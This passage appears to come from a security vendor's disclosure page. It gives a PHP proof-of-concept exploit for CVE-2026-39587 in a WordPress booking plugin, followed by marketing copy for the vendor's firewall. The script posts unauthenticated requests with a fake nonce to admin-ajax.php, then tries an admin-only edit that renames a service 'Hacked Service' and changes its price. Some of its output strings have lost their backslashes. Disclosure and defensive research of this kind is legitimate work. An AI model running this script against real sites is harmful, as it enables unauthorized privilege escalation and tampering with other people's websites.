$ajax_url = $target_url . "/wp-admin/admin-ajax.php";

// Headers to mimic legitimate AJAX request
$headers = [
    "User-Agent: Atomic-Edge-PoC/1.0",
    "Accept: application/json, text/javascript, */*; q=0.01",
    "Accept-Language: en-US,en;q=0.5",
    "Accept-Encoding: gzip, deflate",
    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With: XMLHttpRequest",
    "Connection: close"
];

/**
 * Step 1: Identify vulnerable AJAX endpoints
 * The plugin registers multiple AJAX handlers that trigger wpb_prepare_booking
 * Common actions include: app_inline_edit_update, app_get_booking_details
 */
function test_vulnerable_endpoint($url, $headers) {
    $ch = curl_init();
    
    // Test with app_inline_edit_update action
    $post_data = http_build_query([
        'action' => 'app_inline_edit_update',
        'booking_id' => '1', // Try to access existing booking
        'nonce' => 'bypassed', // Nonce validation may be bypassed
        'field' => 'service',
        'value' => '1'
    ]);
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_HTTPHEADER => $headers,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS => 5
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Check if we received a successful response with admin data
    if ($http_code == 200 && !empty($response)) {
        $data = json_decode($response, true);
        if ($data && isset($data['services_sel'])) {
            // If we get services selection data without authentication,
            // the vulnerability is likely present
            return true;
        }
    }
    
    return false;
}

/**
 * Step 2: Attempt privilege escalation
 * If vulnerable, we can now perform admin actions
 */
function attempt_admin_action($url, $headers) {
    $ch = curl_init();
    
    // Try to modify a service (admin-only action)
    $post_data = http_build_query([
        'action' => 'app_service_inline_edit_save',
        'service_id' => '1',
        'service_name' => 'Hacked Service',
        'service_duration' => '60',
        'service_price' => '999',
        'nonce' => 'bypassed'
    ]);
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_HTTPHEADER => $headers,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    return $response;
}

// Execute PoC
echo "Atomic Edge CVE-2026-39587 PoCn";
echo "Target: $target_urlnn";

echo "Step 1: Testing for vulnerability...n";
if (test_vulnerable_endpoint($ajax_url, $headers)) {
    echo "[+] Site appears vulnerable!nn";
    
    echo "Step 2: Attempting admin action...n";
    $result = attempt_admin_action($ajax_url, $headers);
    echo "Response: " . substr($result, 0, 200) . "...n";
    
    echo "n[!] If the action succeeded, privilege escalation is confirmed.n";
    echo "    Attacker can now perform any administrative action.n";
} else {
    echo "[-] Site does not appear vulnerable or is patched.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School